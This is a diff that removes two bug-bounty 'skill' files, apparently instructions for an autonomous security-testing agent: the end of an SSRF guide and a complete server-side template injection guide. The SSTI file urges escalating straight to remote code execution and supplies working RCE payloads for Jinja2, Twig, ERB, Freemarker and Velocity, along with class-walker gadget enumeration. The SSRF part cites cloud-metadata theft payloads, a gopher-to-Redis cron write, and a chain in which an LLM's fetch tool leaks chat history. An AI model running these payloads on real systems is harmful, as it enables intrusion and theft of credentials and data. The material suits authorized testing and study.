418
- ```
419
-
420
- ### TOCTOU (Time-of-Check vs Time-of-Use)
421
- - Validate URL → sleep → redirect to internal (race condition with DNS rebinding)
422
- - Register a domain with 0-TTL, rotate DNS between validation and fetch calls
423
-
424
- ### When Response is Not Returned (Blind SSRF)
425
- - Use DNS-only callbacks (data encoded in subdomain labels)
426
- - Use timing differences for port scanning
427
- - Use different HTTP methods (PUT/DELETE) to trigger distinct behaviors on internal services
428
- - Chain with other bugs that leak response data (e.g., error messages, logs)
429
-
430
- ---
431
-
432
- ## Gate 0 Validation
433
-
434
- Before writing the report, confirm all three:
435
-
436
- 1. **What can the attacker DO right now?**
437
- - Can you retrieve a response proving internal network access? (Show the metadata token, internal API response, or confirmed DNS callback)
438
- - If blind: can you demonstrate port differentiation or confirmed OOB callback tied to a specific internal address?
439
- - "The server makes a request" alone is insufficient — show *where* it goes and *what comes back*.
440
-
441
- 2. **What does the victim LOSE?**
442
- - Cloud credentials (IAM tokens) → full cloud account compromise?
443
- - Internal service data (user PII, secrets, API keys)?
444
- - Ability to pivot to RCE via internal admin service?
445
- - If the answer is only "the server fetches my URL," severity is low — quantify the actual reachable blast radius.
446
-
447
- 3. **Can it be reproduced in 10 minutes from scratch?**
448
- - Is the vulnerable endpoint still live and the parameter still present?
449
- - Does your callback server show the hit reliably (not intermittently)?
450
- - Can a second person follow your steps without prior knowledge and get the same result?
451
- - If reproduction requires specific timing, tokens, or luck — resolve the flakiness before submitting.
452
-
453
- ---
454
-
455
- ## Real Impact Examples
456
-
457
- ### Scenario A: Cloud Credential Exfiltration via Link Preview (Snapchat/GCP Pattern)
458
- A public-facing "link preview" API accepted a `url` parameter and fetched the target server-side to generate thumbnail content. The feature ran on GCP Compute Engine with IMDSv1 enabled and no `Metadata-Flavor` header enforcement on the server side. By supplying `url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token`, the attacker received a valid OAuth2 access token for the instance's service account. The token granted access to internal GCP project resources including storage buckets containing user data. The attacker used JavaScript execution within a headless rendering context to exfiltrate the token via DNS-encoded subdomains, bypassing response body restrictions.
459
-
460
- ### Scenario B: Kubernetes API Compromise via Hijacked Aggregated Server (Kubernetes Pattern)
461
- An attacker who could register a Kubernetes API extension server (metrics-server equivalent) returned `302 Location: http://127.0.0.1:6443/api/v1/secrets` responses to the aggregation layer. Because the aggregation proxy followed redirects automatically without re-validating the destination against the internal network blocklist, the redirect caused the aggregation layer itself (running with elevated cluster credentials) to fetch internal Kubernetes API secrets and return them in the response. This effectively allowed an attacker with limited API registration privileges to escalate to full cluster secret read access — a critical privilege escalation via SSRF chained through trusted infrastructure components.
462
-
463
- ---
464
-
465
- ## Disclosed Report Citations (Backfill +6 — 2018-2024)
466
-
467
- The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Cloud-metadata SSRFs across all three providers, DNS rebinding, gopher-to-Redis-RCE, link-preview SSRF, and headless-browser/PDF-generator chains are all represented.
468
-
469
- 3. **HackerOne — SSRF in Analytics Reports (PDF generator → AWS metadata)** ([H1 #2262382](https://hackerone.com/reports/2262382) · [Writeup](https://osintteam.blog/25-000-ssrf-in-hackerones-analytics-reports-b9a5b3aa3d6e))
470
- - Subclass: headless-browser SSRF (PDF generator) → AWS metadata SSRF (IMDSv1)
471
- - Payload: injected `<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">` into a template element rendered server-side; backend Ruby loop rendered the untrusted template HTML into PDF, reflecting IMDS response inside the rendered PDF / error message
472
- - Root cause: unsanitised user-controlled template fragment reflected in PDF rendering pipeline; no IMDSv2 enforcement
473
- - Year: 2023 — **$25,000** (CVSS 10.0 Critical)
474
-
475
- 4. **Shopify Exchange — SSRF in screenshot service → GCP metadata → container root** ([H1 #341876](https://hackerone.com/reports/341876))
476
- - Subclass: GCP metadata SSRF → SSRF-to-RCE chain
477
- - Payload: created store on partners.shopify.com, edited `password.liquid` template to embed a request to `http://metadata.google.internal/computeMetadata/v1/` with `Metadata-Flavor: Google`, then triggered the Exchange screenshotting service to render the template server-side
478
- - Root cause: screenshotter fetched user-controlled template with no metadata-host blocklist and no metadata-concealment proxy
479
- - Year: 2018 — **$25,000** (canonical headless-browser → metadata)
480
-
481
- 5. **Concrete CMS — SSRF mitigation bypass via DNS rebinding → AWS IAM keys** ([H1 #1369312](https://hackerone.com/reports/1369312))
482
- - Subclass: DNS rebinding SSRF → AWS metadata SSRF (IMDSv1)
483
- - Payload: file-upload-from-URL feature; attacker DNS server alternated `A` records between `1.2.3.4` (public) and `169.254.169.254`; needed 2-3 requests to win the race between validation and fetch; final request retrieved IAM role credentials
484
- - Root cause: validated hostname by resolving once; download path re-resolved DNS without pinning the validated IP
485
- - Year: 2021 — fixed in 8.5.7 / 9.0.1
486
-
487
- 6. **Yahoo Mail — Blind SSRF → Gopher → Redis RCE** ([Writeup](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530))
488
- - Subclass: gopher protocol abuse → Redis SSRF → SSRF-to-RCE chain
489
- - Payload: blind SSRF in Yahoo Mail backend reached via `gopher://internal-redis:6379/_*1%0d%0a$8%0d%0aflushall...SET stuff /var/spool/cron/root...BGSAVE` — wrote a cron via Redis to get command execution
490
- - Root cause: gopher scheme not blocklisted; internal Redis unauthenticated on default port; SSRF target accepted 302 redirect from attacker host to `gopher://`
491
- - Year: 2020 — **$15,000**
492
-
493
- 7. **Reddit Matrix — Blind SSRF in `preview_url` API** ([H1 #1960765](https://hackerone.com/reports/1960765))
494
- - Subclass: link-preview SSRF (blind, internal port-scan via timing/response codes)
495
- - Payload: `GET https://matrix.redditspace.com/_matrix/media/r0/preview_url/?url=http://10.0.0.0:80/` — varied internal IPs/ports; service names and IPs leaked through response differences before the fix
496
- - Root cause: link-preview fetcher did not reject RFC1918 / link-local destinations; allowlist-by-scheme only
497
- - Year: 2023 — **$6,000**
498
-
499
- 8. **Azure DevOps — SSRF in Service Hooks + DNS rebinding bypass in endpointproxy** ([Binary Security writeup](https://www.binarysecurity.no/posts/2025/01/finding-ssrfs-in-devops))
500
- - Subclass: webhook URL field SSRF + DNS rebinding SSRF → Azure IMDS / managed identity
501
- - Payload: configured service-hook webhook URL or `endpointproxy` URL parameter to attacker rebinding host; second resolution returned `169.254.169.254`; chained CRLF injection to set required `Metadata: true` header for Azure IMDS
502
- - Root cause: validation-then-fetch with separate DNS lookups; CRLF in URL path injected headers needed by Azure IMDS
503
- - Year: 2023-2024 — **$15,000 total** across 3 reports
504
-
505
- ---
506
-
507
- ## Related Skills & Chains
508
-
509
- - **`cloud-iam-deep`** — SSRF is the canonical entry to cloud metadata service. Chain primitive: SSRF → IMDSv1 token theft → `cloud-iam-deep` privilege escalation reaches `iam:CreateUser` / `sts:AssumeRole` on cross-account roles.
510
- - **`hunt-llm-ai`** — LLMs with fetch_url tools become SSRF proxies bypassing network egress controls. Chain primitive: LLM tool-use (fetch_url) + SSRF → attacker URL exfils chat history and IMDS token from the LLM container.
511
- - **`hunt-rce`** — Internal Redis/Memcached are unauthenticated by default and reachable via gopher://. Chain primitive: SSRF + Gopher → internal Redis `CONFIG SET dir` + RCE via cron / SSH authorized_keys write.
512
- - **`hunt-cloud-misconfig`** — Internal-only buckets/APIs become reachable through SSRF egress. Chain primitive: SSRF + DNS rebinding → SSRF-protected-endpoint bypass → internal /admin or private S3 bucket read.
513
- - **`security-arsenal`** — Load the SSRF IP Bypass Table (11 techniques: decimal IP, IPv6 mapped, octal, suffix dot, DNS rebinding, redirect chain, etc.) before testing filters.
514
- - **`triage-validation`** — Apply the OOB-Or-It-Didn't-Happen gate: every blind SSRF claim requires a Burp Collaborator hit with a unique marker before report submission.
@@ -1,117 +0,0 @@
1
- ---
2
- name: hunt-ssti
3
- description: "Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thymeleaf, Smarty. Detection probes use double-curly and dollar-curly math expressions evaluated server-side. Once an engine is fingerprinted, escalate to RCE via the engine-specific class-walker, callback-registrar, or Execute-utility patterns documented in disclosed reports. Detection patterns: error messages reveal engine, blank or numeric eval reveals expression mode. Targets: email templates, PDF/report generators, CMS preview features, error pages with user input. Use when hunting RCE via template rendering, when content shows engine fingerprints, when finding endpoints that compose strings with user input before render."
4
- sources: hackerone_public, cve_database, public_research
5
- report_count: 6
6
- ---
7
-
8
- ## Autonomous Testing Priority
9
-
10
- **Escalate straight to RCE — don't stop at arithmetic detection.**
11
-
12
- Arithmetic probes (`{{7*7}}→49`) confirm the injection point but are not proof of impact. The real goal is OS command execution. Arithmetic detection also fails silently when the app echoes the input back (e.g. inside an HTML attribute like `<input value="{{7*7}}">`), producing a false negative even when injection exists.
13
-
14
- **Order of attack:**
15
- 1. **Try Jinja2 RCE first** (covers Python/Flask — the most common stack in modern web apps):
16
- ```
17
- {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
18
- ```
19
- 2. **If the endpoint is a traditional web form**, send as form-encoded body — NOT JSON:
20
- ```
21
- Content-Type: application/x-www-form-urlencoded
22
- field={{config.__class__.__init__.__globals__['os'].popen('id').read()}}
23
- ```
24
- JSON bodies are silently ignored by form-processing endpoints (`request.form['field']` sees nothing).
25
- 3. **If Jinja2 fails**, try Twig (PHP/Symfony): `{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}`
26
- 4. **Fall back to arithmetic detection** only to fingerprint the engine when RCE payloads fail.
27
-
28
- **Proof:** Command output (`uid=N(user) gid=...`) in the response confirms RCE. If the output appears in HTML (inside a `<div>` or `<pre>`), that still counts — the format is irrelevant, the content is the evidence.
29
-
30
- ---
31
-
32
- ## 14. SSTI — SERVER-SIDE TEMPLATE INJECTION
33
- > Easy to detect, high payout ($2K–$8K). Direct path to RCE.
34
-
35
- ### Detection Payloads (try all)
36
- ```
37
- {{7*7}} → 49 = Jinja2 / Twig
38
- ${7*7} → 49 = Freemarker / Velocity / Mako (all use ${...})
39
- <%= 7*7 %> → 49 = ERB (Ruby)
40
- *{7*7} → 49 = Spring Thymeleaf
41
- {{7*'7'}} → 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.
42
- ```
43
-
44
- ### RCE Payloads
45
-
46
- **Jinja2 (Python/Flask):**
47
- ```python
48
- {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
49
- ```
50
-
51
- **Twig (PHP/Symfony):**
52
- ```php
53
- {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
54
- ```
55
-
56
- **ERB (Ruby):**
57
- ```ruby
58
- <%= `id` %>
59
- ```
60
-
61
- ### Length-constrained injection fields (profile name, display name, subject)
62
- When the injectable field caps input length (a profile-name / display-name field is often ≤30-64 chars), the full `os.popen` one-liner won't fit — but detection and class-enumeration still do. Confirm with the short probe, then enumerate the gadget index in stages instead of one payload:
63
- ```python
64
- {{ '7'*7 }} # detection, fits anywhere
65
- {{ [].__class__.__base__.__subclasses__() }} # dump class list, pick the index for subprocess.Popen/os
66
- {{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id',shell=True,stdout=-1).communicate() }}
67
- ```
68
- The reflected sink is frequently an **outbound email** (the account-update / confirmation mail rendering your name), not the web page — read the email body for the evaluated output. Disclosed: reports/125980 (profile-name → Jinja2 → confirmation email, length-limited).
69
-
70
- ### Where to Test
71
- ```
72
- Name/bio/description fields, email templates, invoice name, PDF generators,
73
- URL path parameters, search queries reflected in results, HTTP headers reflected
74
- ```
75
-
76
- ### CMS / "documentation" template-editor forms (authenticated)
77
-
78
- Some SSTI lives behind a logged-in template editor (CMS "edit template" / product-template / email-template
79
- preview). PortSwigger's *"SSTI using documentation"* class is this shape. Three things break a naive attempt:
80
-
81
- 1. **Fingerprint BEFORE firing RCE — the engine decides the syntax.** Do NOT assume Jinja2. Probe the
82
- whole matrix and read which one evaluates:
83
- ```
84
- ${7*7} → 49 AND #{7*7} → 49 ⇒ Freemarker (Java) ← {{7*7}} does NOTHING here
85
- {{7*7}} → 49 ⇒ Jinja2 / Twig
86
- <%= 7*7 %> → 49 ⇒ ERB (Ruby)
87
- *{7*7} → 49 ⇒ Thymeleaf (Spring)
88
- ```
89
- If `{{7*7}}` renders literally but `${7*7}`→49, you are on **Freemarker** — stop sending `{{config...}}`.
90
-
91
- 2. **The record id is usually a QUERY param, not a body field.** The editor form posts back to
92
- `POST /…/template?productId=N` with the id in the URL. The BODY carries only
93
- `csrf`, `template`, and a `template-action` (`preview` | `save`). Putting the id in the body returns
94
- `400 "Missing product id"`. So keep the id in the query string (`?productId=N`) AND send a
95
- form-encoded body of `csrf=…&template=<PAYLOAD>&template-action=preview`.
96
-
97
- 3. **Re-fetch the CSRF each time and use `preview` to iterate.** GET the editor page to read a *fresh*
98
- `csrf` hidden field; `template-action=preview` renders your payload WITHOUT persisting (fast feedback
99
- loop). Switch to `template-action=save` only once the payload is right, then trigger the render
100
- (load the public page that uses the template) to fire the command.
101
-
102
- **Freemarker documentation RCE** (the documented `Execute` utility — this IS the intended technique):
103
- ```
104
- <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
105
- ```
106
- Velocity equivalent: `#set($e="e");$e.getClass().forName("java.lang.Runtime")...`.
107
-
108
- ---
109
-
110
- ## Related Skills & Chains
111
-
112
- - **`hunt-rce`** — SSTI is the easiest path to RCE on Python/Ruby/PHP/Java stacks because the template language already exposes the runtime. Chain primitive: Jinja2 `{{config.__class__.__init__.__globals__['os'].popen('id').read()}}` or Freemarker `<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}` → unauthenticated RCE as the rendering worker. Always escalate fingerprint → class-walker → cmd exec.
113
- - **`hunt-xss`** — When the template engine sandboxes the runtime (or you only get the rendered output back as HTML), the same `{{7*7}}` reflection often still yields stored XSS. Chain primitive: sandboxed Jinja2 SSTI without escapes → inject `<script>` into rendered email template → stored XSS hitting every recipient who views the message.
114
- - **`hunt-ssrf`** — Template engines often expose URL fetchers/filters before they expose the runtime, giving you SSRF before RCE. Chain primitive: Twig `{{ include('http://169.254.169.254/latest/meta-data/iam/security-credentials/') }}` or Jinja2 with `url_for`/custom filters → AWS metadata exfil → cloud creds.
115
- - **`hunt-file-upload`** — Office docs, SVGs, and email templates uploaded by the user are common SSTI surfaces (the server re-renders them). Chain primitive: upload a DOCX whose `word/document.xml` contains `${T(java.lang.Runtime).getRuntime().exec("id")}` to a Velocity/Freemarker-driven mail-merge → RCE.
116
- - **`security-arsenal`** — Reach for the engine-specific escape payload tree: Jinja2 class-walker variants (`__subclasses__()[N]` index hunting), Twig `_self.env` registerUndefinedFilterCallback, Freemarker `?new()` Execute, ERB backticks, Velocity `$class.inspect`, Smarty `{php}...{/php}`, plus the WAF-bypass variants (`{{request|attr('application')|...}}`, Unicode escapes, `{%print(...)%}`).
117
- - **`triage-validation`** — Apply the Pre-Severity Gate before claiming Critical RCE. A `{{7*7}} → 49` reflection inside a sandboxed engine (e.g., Twig sandbox mode, Jinja2 SandboxedEnvironment with no escape) is Medium SSTI, not Critical RCE. Prove `id`/OOB DNS callback with a unique marker before writing the report.